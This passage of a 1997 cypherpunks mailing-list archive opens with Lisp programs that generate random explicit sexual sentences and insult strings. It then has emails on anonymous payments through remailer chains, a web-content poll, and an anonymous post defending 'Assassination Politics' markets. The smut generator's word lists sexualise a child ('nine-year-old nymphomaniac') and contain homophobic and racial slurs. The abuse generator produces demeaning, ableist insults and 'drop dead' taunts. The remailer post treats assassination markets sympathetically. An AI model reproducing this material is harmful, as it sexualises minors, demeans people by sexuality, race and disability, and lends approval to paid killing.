   (COND ((GT RSEED 15000) (SETQ RSEED (- RSEED 15000))))
   (+ 1 (- RSEED (* s (/ RSEED s))))
))

~
(DEF 'statement '(LAMBDA ()
(SETQ R (random 020))
(COND
((EQ R 001) (PRINC "Let the games begin!"))
((EQ R 002) (PRINC "Sweet Jesus!"))
((EQ R 003) (PRINC "Not that!"))
((EQ R 004) (PRINC "At last!"))
((EQ R 005) (PRINC "Land O' Goshen!"))
((EQ R 006) (PRINC "Is that all?"))
((EQ R 007) (PRINC "Is it in?"))
((EQ R 008) (PRINC "Cheese it, the cops!"))
((EQ R 009) (PRINC "I never dreamed it could be like this!"))
((EQ R 010) (PRINC "If I do, you won't respect me!"))
((EQ R 011) (PRINC "Oh my God!"))
((EQ R 012) (PRINC "Now!"))
((EQ R 013) (PRINC "Open Sesame!"))
((EQ R 014) (PRINC "Pomade!"))
((EQ R 015) (PRINC "Harder!"))
((EQ R 016) (PRINC "Faster!"))
((EQ R 017) (PRINC "Again!"))
((EQ R 018) (PRINC "Help!"))
((EQ R 019) (PRINC "Ay de mi!"))
((EQ R 020) (PRINC "Deeper!"))
)))

(DEF 'said '(LAMBDA ()
(SETQ R (random 018))
(COND
((EQ R 001) (PRINC " cried"))
((EQ R 002) (PRINC " bellowed"))
((EQ R 003) (PRINC " yelped"))
((EQ R 004) (PRINC " croaked"))
((EQ R 005) (PRINC " growled"))
((EQ R 006) (PRINC " panted"))
((EQ R 007) (PRINC " moaned"))
((EQ R 008) (PRINC " grunted"))
((EQ R 009) (PRINC " laughed"))
((EQ R 010) (PRINC " warbled"))
((EQ R 011) (PRINC " sighed"))
((EQ R 012) (PRINC " ejaculated"))
((EQ R 013) (PRINC " whispered"))
((EQ R 014) (PRINC " stammered"))
((EQ R 015) (PRINC " wheezed"))
((EQ R 016) (PRINC " squealed"))
((EQ R 017) (PRINC " whimpered"))
((EQ R 018) (PRINC " pleaded"))
)))

(DEF 'girl '(LAMBDA ()
(SETQ R (random 011))
(COND
((EQ R 001) (PRINC "saucy baggage"))
((EQ R 002) (PRINC "wanton hussy"))
((EQ R 003) (PRINC "unfortunate woman"))
((EQ R 004) (PRINC "lust-crazed duchess"))
((EQ R 005) (PRINC "female impersonator"))
((EQ R 006) (PRINC "nine-year-old nymphomaniac"))
((EQ R 007) (PRINC "45-year-old virgin bull-dyke"))
((EQ R 008) (PRINC "leather freak"))
((EQ R 009) (PRINC "home-cumming queen"))
((EQ R 010) (PRINC "defrocked nun"))
((EQ R 011) (PRINC "bisexual budgie"))
)))

(DEF 'adj-1 '(LAMBDA ()
(SETQ R (random 014))
(COND
((EQ R 001) (PRINC "thrashing"))
((EQ R 002) (PRINC "slurping"))
((EQ R 003) (PRINC "insatiable"))
((EQ R 004) (PRINC "rabid"))
((EQ R 005) (PRINC "satanic"))
((EQ R 006) (PRINC "corpulent"))
((EQ R 007) (PRINC "nose-grooming"))
((EQ R 008) (PRINC "tripe-fondling"))
((EQ R 009) (PRINC "dribbling"))
((EQ R 010) (PRINC "spread-eagled"))
((EQ R 011) (PRINC "orally fixated"))
((EQ R 012) (PRINC "vile"))
((EQ R 013) (PRINC "awesomely endowed"))
((EQ R 014) (PRINC "strapping"))
)))

(DEF 'boy '(LAMBDA ()
(SETQ R (random 020))
(COND
((EQ R 001) (PRINC " rakehell"))
((EQ R 002) (PRINC " black panther"))
((EQ R 003) (PRINC " hunchback"))
((EQ R 004) (PRINC " friar"))
((EQ R 005) (PRINC " archduke"))
((EQ R 006) (PRINC " midget"))
((EQ R 007) (PRINC " great dane"))
((EQ R 008) (PRINC " stallion"))
((EQ R 009) (PRINC " donkey"))
((EQ R 010) (PRINC " electric eel"))
((EQ R 011) (PRINC " lecherous"))
((EQ R 012) (PRINC " lickspittle"))
((EQ R 013) (PRINC " faggot butler"))
((EQ R 014) (PRINC " paraplegic"))
((EQ R 015) (PRINC " pothead"))
((EQ R 016) (PRINC " dirty old man"))
((EQ R 017) (PRINC " black-power advocate"))
((EQ R 018) (PRINC " follicle fetishist"))
((EQ R 019) (PRINC " egg-sucking chicken flicker"))
((EQ R 020) (PRINC " hired hand"))
)))

(DEF 'verb-1 '(LAMBDA ()
(SETQ R (random 011))
(COND
((EQ R 001) (PRINC " plundered"))
((EQ R 002) (PRINC " diddled"))
((EQ R 003) (PRINC " devoured"))
((EQ R 004) (PRINC " fondled"))
((EQ R 005) (PRINC " mouthed"))
((EQ R 006) (PRINC " tongued"))
((EQ R 007) (PRINC " lashed"))
((EQ R 008) (PRINC " tweaked"))
((EQ R 009) (PRINC " violated"))
((EQ R 010) (PRINC " defiled"))
((EQ R 011) (PRINC " irrigated"))
)))

(DEF 'adj-2 '(LAMBDA ()
(SETQ R (random 012))
(COND
((EQ R 001) (PRINC "alabaster"))
((EQ R 002) (PRINC "pink-tipped"))
((EQ R 003) (PRINC "creamy"))
((EQ R 004) (PRINC "rosebud"))
((EQ R 005) (PRINC "moist"))
((EQ R 006) (PRINC "throbbing"))
((EQ R 007) (PRINC "juicy"))
((EQ R 008) (PRINC "heaving"))
((EQ R 009) (PRINC "straining"))
((EQ R 010) (PRINC "mammoth"))
((EQ R 011) (PRINC "succulent"))
((EQ R 012) (PRINC "quivering"))
)))

(DEF 'tits '(LAMBDA ()
(SETQ R (random 013))
(COND
((EQ R 001) (PRINC " schnoobies"))
((EQ R 002) (PRINC " globes"))
((EQ R 003) (PRINC " melons"))
((EQ R 004) (PRINC " mounds"))
((EQ R 005) (PRINC " buds"))
((EQ R 006) (PRINC " paps"))
((EQ R 007) (PRINC " chubbies"))
((EQ R 008) (PRINC " protruberances"))
((EQ R 009) (PRINC " treasures"))
((EQ R 010) (PRINC " bum"))
((EQ R 011) (PRINC " bung"))
((EQ R 012) (PRINC " vestibule"))
((EQ R 013) (PRINC " armpits"))
)))

(DEF 'verb-2 '(LAMBDA ()
(SETQ R (random 011))
(COND
((EQ R 001) (PRINC "plunged"))
((EQ R 002) (PRINC "thrust"))
((EQ R 003) (PRINC "squeezed"))
((EQ R 004) (PRINC "pounded"))
((EQ R 005) (PRINC "drove"))
((EQ R 006) (PRINC "eased"))
((EQ R 007) (PRINC "slid"))
((EQ R 008) (PRINC "hammered"))
((EQ R 009) (PRINC "squished"))
((EQ R 010) (PRINC "crammed"))
((EQ R 011) (PRINC "slammed"))
)))

(DEF 'adj-3 '(LAMBDA ()
(SETQ R (random 018))
(COND
((EQ R 001) (PRINC "bursting"))
((EQ R 002) (PRINC "jutting"))
((EQ R 003) (PRINC "glistening"))
((EQ R 004) (PRINC "brobdingnagian"))
((EQ R 005) (PRINC "prodigious"))
((EQ R 006) (PRINC "purple"))
((EQ R 007) (PRINC "searing"))
((EQ R 008) (PRINC "swollen"))
((EQ R 009) (PRINC "rigid"))
((EQ R 010) (PRINC "rampaging"))
((EQ R 011) (PRINC "warty"))
((EQ R 012) (PRINC "steaming"))
((EQ R 013) (PRINC "gorged"))
((EQ R 014) (PRINC "trunklike"))
((EQ R 015) (PRINC "foaming"))
((EQ R 016) (PRINC "spouting"))
((EQ R 017) (PRINC "swinish"))
((EQ R 018) (PRINC "red-hot"))
)))

(DEF 'prick '(LAMBDA ()
(SETQ R (random 024))
(COND
((EQ R 001) (PRINC " prosthesis"))
((EQ R 002) (PRINC " intruder"))
((EQ R 003) (PRINC " prong"))
((EQ R 004) (PRINC " stump"))
((EQ R 005) (PRINC " member"))
((EQ R 006) (PRINC " meatloaf"))
((EQ R 007) (PRINC " majesty"))
((EQ R 008) (PRINC " bowsprit"))
((EQ R 009) (PRINC " earthmover"))
((EQ R 010) (PRINC " jackhammer"))
((EQ R 011) (PRINC " ramrod"))
((EQ R 012) (PRINC " cod"))
((EQ R 013) (PRINC " jabber"))
((EQ R 014) (PRINC " gusher"))
((EQ R 015) (PRINC " engine"))
((EQ R 016) (PRINC " brownie"))
((EQ R 017) (PRINC " joy stick"))
((EQ R 018) (PRINC " plunger"))
((EQ R 019) (PRINC " piston"))
((EQ R 020) (PRINC " tool"))
((EQ R 021) (PRINC " manhood"))
((EQ R 022) (PRINC " lollipop"))
((EQ R 023) (PRINC " kidney prodder"))
((EQ R 043) (PRINC " device"))
)))

(DEF 'adj-4 '(LAMBDA ()
(SETQ R (random 010))
(COND
((EQ R 001) (PRINC "pulsing"))
((EQ R 002) (PRINC "hungry"))
((EQ R 003) (PRINC "hymeneal"))
((EQ R 004) (PRINC "palpitating"))
((EQ R 005) (PRINC "gaping"))
((EQ R 006) (PRINC "slavering"))
((EQ R 007) (PRINC "welcoming"))
((EQ R 008) (PRINC "glutted"))
((EQ R 009) (PRINC "gobbling"))
((EQ R 010) (PRINC "cobwebby"))
)))

(DEF 'cunt '(LAMBDA ()
(SETQ R (random 017))
(COND
((EQ R 001) (PRINC " swamp"))
((EQ R 002) (PRINC " honeypot"))
((EQ R 003) (PRINC " jam jar"))
((EQ R 004) (PRINC " butterbox"))
((EQ R 005) (PRINC " furburger"))
((EQ R 006) (PRINC " cherry pie"))
((EQ R 007) (PRINC " cush"))
((EQ R 008) (PRINC " slot"))
((EQ R 009) (PRINC " slit"))
((EQ R 010) (PRINC " cockpit"))
((EQ R 011) (PRINC " damp"))
((EQ R 012) (PRINC " furrow"))
((EQ R 013) (PRINC " sanctum sanctorum"))
((EQ R 014) (PRINC " bearded clam"))
((EQ R 015) (PRINC " continental divide"))
((EQ R 016) (PRINC " paradise valley"))
((EQ R 017) (PRINC " wanton desire"))
)))

(DEF 'smut '(LAMBDA ()
 (PRINC '\") (statement) (PRINC '\") (said) (PRINC " the ") (girl)
 (PRINC " as the ") (adj-1) (boy) (verb-1) (PRINC " her ") (adj-2)
 (tits) (PRINC " and ") (verb-2) (PRINC " his ") (adj-3) (prick)
 (PRINC " into her ") (adj-4) (cunt) (PRINC ".") (TERPRI)
))

(randomize)

****************************************************************************

~Pseudo-random 1 to s

(DEF 'randomize '(LAMBDA ()
(SETQ RSEED (DTIME))
(SETQ RSEED (- RSEED (* 12345(/ RSEED 12345))))))


(DEF 'random '(LAMBDA (s)
   (SETQ RSEED (+ RSEED 911))
   (COND ((GT RSEED 15000) (SETQ RSEED (- RSEED 15000))))
   (+ 1 (- RSEED (* s (/ RSEED s))))
))


(DEF 'adj-phrase '(LAMBDA ()
    (PROG ()
   LOOP-adj
    (SETQ R (random 124))
    (PRINC
       (COND
	((EQ R 001) "stinking")
	((EQ R 002) "little")
	((EQ R 003) "smelly")
	((EQ R 004) "ugly")
	((EQ R 005) "bisexual")
	((EQ R 006) "deranged")
	((EQ R 007) "revolting")
	((EQ R 008) "sickening")
	((EQ R 009) "disgusting")
	((EQ R 010) "perverted")
	((EQ R 011) "stupid")
	((EQ R 012) "illiterate")
	((EQ R 013) "flea-bitten")
	((EQ R 014) "depraved")
	((EQ R 015) "uncouth")
	((EQ R 016) "bad breathed")
	((EQ R 017) "pitiful")
	((EQ R 018) "dumpy")
	((EQ R 019) "offensive")
	((EQ R 020) "dim witted")
	((EQ R 021) "loathsome")
	((EQ R 022) "insignificant")
	((EQ R 023) "blithering")
	((EQ R 024) "repulsive")
	((EQ R 025) "worthless")
	((EQ R 026) "blundering")
	((EQ R 027) "retarded")
	((EQ R 028) "useless")
	((EQ R 029) "obnoxious")
	((EQ R 030) "low budget")
	((EQ R 031) "asisine")
	((EQ R 032) "neurotic")
	((EQ R 033) "subhuman")
	((EQ R 034) "crochety")
	((EQ R 035) "indescribable")
	((EQ R 036) "contemptible")
	((EQ R 037) "unspeakable")
	((EQ R 038) "sick")
	((EQ R 039) "lazy")
	((EQ R 040) "good for nothing)")
	((EQ R 041) "slutty")
	((EQ R 042) "spastic")
	((EQ R 043) "creepy")
	((EQ R 044) "sloppy")
	((EQ R 045) "dumb")
	((EQ R 046) "predictable")
	((EQ R 047) "atrocious")
	((EQ R 048) "grotesque")
	((EQ R 049) "ungodly")
	((EQ R 050) "feeble-minded")
	((EQ R 051) "clueless")
	((EQ R 052) "demented")
	((EQ R 053) "bewildered")
	((EQ R 054) "outrageous")
	((EQ R 055) "deranged")
	((EQ R 056) "confused")
	((EQ R 057) "miserable")
	((EQ R 058) "detestable")
	((EQ R 059) "annoying")
	((EQ R 060) "shameless")
	((EQ R 061) "ignorant")
	((EQ R 062) "despicable")
	((EQ R 063) "insane")
	((EQ R 064) "tiny brained")
	((EQ R 065) "oblivious")
	((EQ R 066) "hopeless")
	((EQ R 067) "god-awful")
	((EQ R 068) "bungling")
	((EQ R 069) "appalling")
	((EQ R 070) "lackluster")
	((EQ R 071) "skaggy")
	((EQ R 072) "brainless")
	((EQ R 073) "boring")
	((EQ R 074) "uncultivated")
	((EQ R 075) "inadequate")
	((EQ R 076) "inhuman")
	((EQ R 077) "self-exalting")
	((EQ R 078) "testy")
	((EQ R 079) "irresponsible")
	((EQ R 080) "mentally deficient")
	((EQ R 081) "disdainful")
	((EQ R 082) "friendless")
	((EQ R 083) "dreadfull")
	((EQ R 084) "psychotic")
	((EQ R 085) "opinionated")
	((EQ R 086) "monotonous")
	((EQ R 087) "disgraceful")
	((EQ R 088) "preposterous")
	((EQ R 089) "totally tacky")
	((EQ R 090) "uneducated")
	((EQ R 091) "rediculous")
	((EQ R 092) "double ugly")
	((EQ R 093) "irrational")
	((EQ R 094) "cranky")
	((EQ R 095) "goofy")
	((EQ R 096) "crude")
	((EQ R 097) "embarrassing")
	((EQ R 098) "deeply disturbed)")
	((EQ R 099) "inept")
	((EQ R 100) "undisciplined")
	((EQ R 101) "crooked")
	((EQ R 102) "pathetic")
	((EQ R 103) "infantile")
	((EQ R 104) "witless")
	((EQ R 105) "indecent")
	((EQ R 106) "infuriating")
	((EQ R 107) "unimpressive")
	((EQ R 108) "insufferable")
	((EQ R 109) "dismal")
	((EQ R 110) "erratic")
	((EQ R 111) "incapable")
	((EQ R 112) "hallucinating")
	((EQ R 113) "pompous")
	((EQ R 114) "pitiable")
	((EQ R 115) "slovenly")
	((EQ R 116) "laughable")
	((EQ R 117) "bad tempered")
	((EQ R 118) "decrepit")
	((EQ R 119) "bizarre")
	((EQ R 120) "driveling")
	((EQ R 121) "uncultured")
	((EQ R 122) "cantankerous")
	((EQ R 123) "hypocritical")
	((EQ R 124) "sleazy")))
    (COND
     ( (LT(random 3) 3) (PRINC ", ") (GO LOOP-adj))
     ( T		(PRINC " "))
))))

(DEF 'noun '(LAMBDA ()
(COND ((EQ (random 4) 1)
  (SETQ R (random 15))
  (PRINC
   (COND
    ((EQ R 01) "twit")
    ((EQ R 02) "bastard")
    ((EQ R 03) "fool")
    ((EQ R 04) "idiot")
    ((EQ R 05) "cretin")
    ((EQ R 06) "dolt")
    ((EQ R 07) "moron")
    ((EQ R 08) "degenerate")
    ((EQ R 09) "mutant")
    ((EQ R 09) "asshole")
    ((EQ R 10) "imbecile")
    ((EQ R 11) "incompetent")
    ((EQ R 12) "failure")
    ((EQ R 13) "noncompoop")
    ((EQ R 14) "pothead")
    ((EQ R 15) "wiper of other peoples' behinds"))))

  (T(SETQ R (random 30)) (PRINC (COND
     ((EQ R 01) "lump")
     ((EQ R 02) "crock")
     ((EQ R 03) "ball")
     ((EQ R 04) "mass")
     ((EQ R 05) "tub")
     ((EQ R 06) "loaf")
     ((EQ R 07) "bucket")
     ((EQ R 08) "mound")
     ((EQ R 09) "bunch")
     ((EQ R 10) "stack")
     ((EQ R 11) "glob")
     ((EQ R 12) "bag")
     ((EQ R 13) "heap")
     ((EQ R 14) "mountain")
     ((EQ R 15) "load")
     ((EQ R 16) "toilet full")
     ((EQ R 17) "barrel")
     ((EQ R 18) "sack")
     ((EQ R 19) "blob")
     ((EQ R 20) "pile")
     ((EQ R 21) "clump")
     ((EQ R 22) "shovel full")
     ((EQ R 23) "cake")
     ((EQ R 24) "bowl")
     ((EQ R 25) "wheelbarrel full")
     ((EQ R 26) "box")
     ((EQ R 27) "crate")
     ((EQ R 28) "collection")
     ((EQ R 29) "truckload")
     ((EQ R 30) "vat")
))
    (PRINC " of ")
    (SETQ R (random 69))
    (PRINC (COND
     ((EQ R 01) "stale ")
     ((EQ R 02) "foul ")
     ((EQ R 03) "fossilized ")
     ((EQ R 04) "festering ")
     ((EQ R 05) "steaming ")
     ((EQ R 06) "gross ")
     ((EQ R 07) "reasty ")
     ((EQ R 08) "recycled ")
     ((EQ R 09) "mildewed ")
     ((EQ R 10) "raunchy ")
     ((EQ R 11) "putrid ")
     ((EQ R 12) "moldy ")
     ((EQ R 13) "synthetic ")
     ((EQ R 14) "filthy ")
     ((EQ R 15) "soppy ")
     ((EQ R 16) "radioactive  ")
     ((EQ R 17) "infested ")
     ((EQ R 18) "septic ")
     ((EQ R 19) "crusty ")
     ((EQ R 20) "smelly ")
     ((EQ R 21) "dirty ")
     ((EQ R 22) "rotten ")
     ((EQ R 23) "crumby ")
     ((EQ R 24) "musty ")
     ((EQ R 25) "second-hand  ")
     ((EQ R 26) "fly-covered  ")
     ((EQ R 27) "imitation ")
     ((EQ R 28) "moth-eaten ")
     ((EQ R 29) "pureed ")
     ((EQ R 30) "decaying ")
     ((EQ R 31) "decomposed ")
     ((EQ R 32) "freeze dried ")
     ((EQ R 33) "soggy ")
     ((EQ R 34) "petrified ")
     ((EQ R 35) "seething ")
     ((EQ R 36) "stinking ")
     ((EQ R 37) "clammy ")
     ((EQ R 38) "dehydrated ")
     ((EQ R 39) "polluted ")
     ((EQ R 40) "lousy ")
     ((EQ R 41) "stenchy ")
     ((EQ R 42) "malignant ")
     ((EQ R 43) "noxious ")
     ((EQ R 44) "grimy ")
     ((EQ R 45) "fusty ")
     ((EQ R 46) "reeky ")
     ((EQ R 47) "nasty ")
     ((EQ R 48) "mutilated ")
     ((EQ R 49) "sloppy ")
     ((EQ R 50) "fresh ")
     ((EQ R 51) "gruesome ")
     ((EQ R 52) "foreign ")
     ((EQ R 53) "grisly ")
     ((EQ R 54) "sloshy ")
     ((EQ R 55) "dusky ")
     ((EQ R 56) "wormy ")
     ((EQ R 57) "mealy ")
     ((EQ R 58) "defective ")
     ((EQ R 59) "spoiled ")
     ((EQ R 60) "contaminated ")
     ((EQ R 61) "sun-ripened  ")
     ((EQ R 62) "rancid ")
     ((EQ R 63) "old ")
     ((EQ R 64) "fermenting ")
     ((EQ R 65) "industrial-strength ")
     ((EQ R 66) "flea-bitten ")
     ((EQ R 67) "nauseating ")
     ((EQ R 68) "decomposing ")
     ((EQ R 69) "unimaginable ")
))
    (SETQ R (random 91))
    (PRINC (COND
     ((EQ R 01) "pig bowels")
     ((EQ R 02) "walrus blubber")
     ((EQ R 03) "dog barf")
     ((EQ R 04) "coyote snot")
     ((EQ R 05) "carp guts")
     ((EQ R 06) "skunk waste")
     ((EQ R 07) "camel fleas")
     ((EQ R 08) "llama spit")
     ((EQ R 09) "rat boogers")
     ((EQ R 10) "toe jam")
     ((EQ R 11) "maggot guts")
     ((EQ R 12) "dog meat")
     ((EQ R 13) "ear wax")
     ((EQ R 14) "nose nuggets")
     ((EQ R 15) "swine remains")
     ((EQ R 16) "rubbish")
     ((EQ R 17) "goat carcusses")
     ((EQ R 18) "sewage")
     ((EQ R 19) "zit cheese")
     ((EQ R 20) "vulture gizzards")
     ((EQ R 21) "hogwash")
     ((EQ R 22) "navel lint")
     ((EQ R 23) "gutter mud")
     ((EQ R 24) "leprousy scabs")
     ((EQ R 25) "nasal hairs")
     ((EQ R 26) "garbage")
     ((EQ R 27) "elephant plaque")
     ((EQ R 28) "slug slime")
     ((EQ R 29) "buzzard barf")
     ((EQ R 30) "jock straps")
     ((EQ R 31) "parrot droppings")
     ((EQ R 32) "camel manure")
     ((EQ R 33) "chicken guts")
     ((EQ R 34) "underwear")
     ((EQ R 35) "compost")
     ((EQ R 36) "pig droppings")
     ((EQ R 37) "rabbit raisins")
     ((EQ R 38) "turkey puke")
     ((EQ R 39) "whale waste")
     ((EQ R 40) "hippo vomit")
     ((EQ R 41) "pimple pus")
     ((EQ R 42) "dog phlegm")
     ((EQ R 43) "buffalo chips")
     ((EQ R 44) "weasel warts")
     ((EQ R 45) "shark snot")
     ((EQ R 46) "swamp mud")
     ((EQ R 47) "tripe")
     ((EQ R 48) "pig hickies")
     ((EQ R 49) "fish lips")
     ((EQ R 50) "cockroaches")
     ((EQ R 51) "dandruff flakes")
     ((EQ R 52) "rodent droppings")
     ((EQ R 53) "carrion")
     ((EQ R 54) "monkey zits")
     ((EQ R 55) "horse puckies")
     ((EQ R 56) "pig slop")
     ((EQ R 57) "sewer seepage")
     ((EQ R 58) "armpit hairs")
     ((EQ R 59) "ape puke")
     ((EQ R 60) "frog fat")
     ((EQ R 61) "bug parts")
     ((EQ R 62) "mule froth")
     ((EQ R 63) "hog livers")
     ((EQ R 64) "camel flops")
     ((EQ R 65) "sludge")
     ((EQ R 66) "pimple squeezings")
     ((EQ R 67) "toad tumors")
     ((EQ R 68) "sweat socks")
     ((EQ R 69) "bat guano")
     ((EQ R 70) "rat cysts")
     ((EQ R 71) "moose entrails")
     ((EQ R 72) "foot fungus")
     ((EQ R 73) "buzzard leavings")
     ((EQ R 74) "eel guts")
     ((EQ R 75) "maggot brains")
     ((EQ R 76) "sinus clots")
     ((EQ R 77) "stable sweepings")
     ((EQ R 78) "drain clogs")
     ((EQ R 79) "cigar butts")
     ((EQ R 80) "pigeon bombs")
     ((EQ R 81) "cow cud")
     ((EQ R 82) "snake innards")
     ((EQ R 83) "spitoon spillage")
     ((EQ R 84) "barf curds")
     ((EQ R 85) "maggot fodder")
     ((EQ R 86) "nose pickings")
     ((EQ R 87) "cow pies")
     ((EQ R 88) "puke lumps")
     ((EQ R 89) "hog swill")
     ((EQ R 90) "sinus drainage")
     ((EQ R 91) "lizard bums")
))
))))

(DEF 'directional-verb '(LAMBDA ()
  (SETQ R (random 5))
  (PRINC
  (COND
   ((EQ R 1) "puke")
   ((EQ R 2) "vomit")
   ((EQ R 3) "fart")
   ((EQ R 4) "piss")
   ((EQ R 5) "shout obscenities")))))

(DEF 'direction '(LAMBDA ()
  (SETQ R (random 3))
  (PRINC
  (COND
   ((EQ R 1) " at you")
   ((EQ R 2) " in your face")
   ((EQ R 2) " in your general direction")))))

(DEF 'verb-phrase '(LAMBDA ()
  (SETQ R (random 5))
    (COND
     ((EQ R 1) (directional-verb)  (direction))
     ((EQ R 2) (PRINC "cry"))
     ((EQ R 3) (PRINC "weep"))
     ((EQ R 4) (PRINC "scream"))
     ((EQ R 5) (PRINC "commit gross abominations"))
)))

(DEF 'suggestion '(LAMBDA ()
  (SETQ R (random 6))
  (PRINC
    (COND
     ((EQ R 1) "crawl back under a rock")
     ((EQ R 2) "go back whence you came from")
     ((EQ R 3) "die abd leave us in peace")
     ((EQ R 4) "go jump in a lake")
     ((EQ R 5) "take a long walk off a short pier")
     ((EQ R 6) "do yourself a favor and drop dead")
))))

(DEF 'proper-name '(LAMBDA ()
  (SETQ R (random 5))
  (PRINC
  (COND
   ((EQ R 1) "Alan Turing")
   ((EQ R 2) "Marvin Minsky")
   ((EQ R 3) "Douglas Hofstadter")
   ((EQ R 4) "your best friend")
   ((EQ R 4) "a large crowd of graduate students"))
)))

(DEF 'abuse '(LAMBDA ()
  (PRINC "You ") (adj-phrase) (noun) (PRINC ". ")
  (SETQ RR (random 4))
  (COND
   ((EQ RR 1) (PRINC "May ") (proper-name) (PRINC " ") (directional-verb)
	       (direction) (PRINC ". "))
   ((EQ RR 2) (PRINC "Whenever I see you, I want to ") (verb-phrase)
	      (PRINC ". "))
   ((EQ RR 3) (PRINC "Why don't you ") (suggestion) (PRINC ". "))
   ((EQ RR 4) (PRINC "Please, ") (suggestion) (PRINC ". "))
)))

(randomize)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Mon, 7 Apr 1997 22:15:21 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Anonymous cash via intermediaries
Message-ID: <199704080350.UAA03476@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


The paper by Rivest on lottery tickets as micropayments, at:

http://theory.lcs.mit.edu/~rivest/publications.html

is a clever idea, but he mentioned something in passing at the end
that I thought was very interesting in its own right.  He wrote:

> True anonymity of the user from the vendor is more costly, as it
> requires an intermediary (the vendor needs to have routing/delivery
> information for the goods sold).  That third party could also
> intermediate the payments for the user - the user pays the intermediary,
> and the intermediary pays the vendor.

Anonymous cash is most useful in the context of anonymous communications.
If you are achieving anonymity via "mix" technologies, like the remailers
or Wei Dai's proposed PipeNet, then the same network which hides the
communications path could hide the payment path.  You pay the first
mix in the chain, which pays the next, and so on until the person at
the end receives payment.  Even with a non-anonymous payment system,
you get the effect of anonymity.

With intermediaries like this, you could use, say, First Virtual's
credit-card based payments.  If you want to buy some information
anonymously, you set up a remailer chain to send the request to FV.
With that you include a payment to that first remailer, requesting
forwarding.  The remailer accepts the payment, processes the message,
and when it forwards it, it sends along a payment of its own (from its
own account) to the next remailer in the chain, again requesting
forwarding.  This continues until the last remailer forwards the
message to the final recipient, making a payment of its own in
response to the forwarding request.

In order to figure out who paid whom, an observer would have to trace
through the remailer chain.  And if they could do that, they could
follow the message too, breaking the anonymity.

(I had proposed a similar idea of forwarded non-anonymous payments a
couple of weeks ago, but that was specifically in the context of
paying for remailers.  Rivest's idea would extend this to a general
payment scheme.)

I see some obvious problems, but perhaps they can be patched up.  The
remailers would have to be honest and trustworthy (not to mention
brave, clean, and reverent); if the payment somehow got lost en route
it could be difficult to verify who had pocketed it.  There is some
anonymity lost by having all the remailers in the chain know how much
is being paid, even if they don't know who is involved.  If online
payment schemes were used, they could leave traces which would allow
after-the-fact tracing of the payment path (and therefore the message
path).

Despite this, the convenience barriers to the use of anonymous cash
might make it worth looking into "payment remailers" (or web
redirectors).  As long as there are at least two forwarders in the
chain you have a minimal level of anonymity, and your payments should
be as anonymous as your communications.

Hal




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Mon, 7 Apr 1997 17:58:16 -0700 (PDT)
To: rah@shipwright.com>
Subject: Re: From the "pissing up a rope" file...
In-Reply-To: <v0302093eaf6b6d83b633@[139.167.130.248]>
Message-ID: <199704080058.UAA21322@homer.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 4 Apr 1997, Robert Hettinga wrote:

> I thought some people on the list might feel very strongly about this
> issue and would like to cast their vote.
> 
> The NBC Interactive Question of the Week:
> 
> Should there be one international group that governs and controls web
> content?

Results pasted in from http://www.nbceurope.com/

                  Now, here are the results from last week's question
                  which asked....

                  Should there be one international group that
                  governs and controls web content?

                  85% said no...

                  while 15% said yes.

Interesting that the "sheeple factor" was as high as 15%.  (Or was it 
higher? Did 20 cypherpunks submit "no" 100 times each?)

This poll was accurate within 100%, 19 times out of 20 ;-) , but it
will still serve as fodder for someone's News Breaking Story.  At
the very least they could have implemented a "have-you-voted-yet"
cookie to weed out the technologically impaired who might want to
vote twice.

Cynthia




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 7 Apr 1997 20:58:02 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Tim I.R.S. May
Message-ID: <199704080358.UAA20048@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Bell wrote:
At 10:57 PM +0100 4/7/97, Adam Back wrote:

>I can think of at least half a dozen posts dealing with the ethics, the
>need (they claim) for independent review, the immmorality of the death
>penalty in general, and so on.

>Exactly what more is needed?
>If you mean that no one is talking about the mechanics of actually setting
>up such a market, this may be true. For lots of reasons. Could be folks
>just have no particular interest in spending the time to actually set one
>up, even a "play" AP system. Could be they perceive other projects to be
>more important.

  Or it could be that those who are setting up AP systems
are not leaving themselves open to attack.

>(Sidenote: the work Robin Hanson and others did on "idea futures" is an
>example of something that's more important, and more "doable," and less
>dangerous. And yet I see precious little discussion of _it_ on this list.

  Maybe that is because it doesn't address issues that the
government feel are enough of a threat to suppress.

>>Perhaps I'm just imagining things, but it would seem to me that if one
>>had in the past made comments on the list suggesting that AP might
>>even be a _good thing_, Jim Bell's experience might make one think now
>>was be a good time to disclaim that one was talking theoretically.

>But, on the contrary, I've seen more "positive" comments, in absolute
>numbers, about AP in the last several days than I recall seeing in the last
>several months.

  Perhaps if you weren't so liberal in your use of killfiles,
then you wouldn't be so out of touch with what cypherpunks
list members discuss on the list.

>>I've viewed several posters comments on AP ever since Jim Bell got
>>involved in discussing anonymous markets in illegal services as being
>>careful to stay on the side of speech.
>>
>>It is almost as if they are afraid to discuss openly their views on
>>the subject.

>Example, please. Who was previously an advocate of AP on a regular basis
>that has recently spoken only of it terms of speech?

  Tim, lacking the ability to read, asks about those who
"advocate" AP.
  Adam is quite correct in his perception of cypherpunks
pussyfooting around their true views on AP since the
government attack on Jim Bell's views.
  Of course, Tim May attacks those who choose to remain
anonymous via the cypherpunks remailers.
  Tim and the IRS make quite a tag-team in denigrating
those who would speak freely about AP.

>(Actually, I recall very few supporters of AP, even before the list
>subscribership dropped dramatically.)

  Since you shitcan the posts of a variety of list
subscribers, your recollections don't count for very
much, do they?

>I like a lot of your stuff, Adam, but on this one I think you're 175
>degrees out of phase with reality.

  Perhaps Adam's view of reality encompasses a broader
range of posts to the list than Tim's does.
  Perhaps those who put all cypherpunks in their killfiles
could claim that the cypherpunks don't really exist.

TruthMonger (#1--the shit disturber)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Mon, 7 Apr 1997 20:02:30 -0700 (PDT)
To: cypherpunks@toad.com
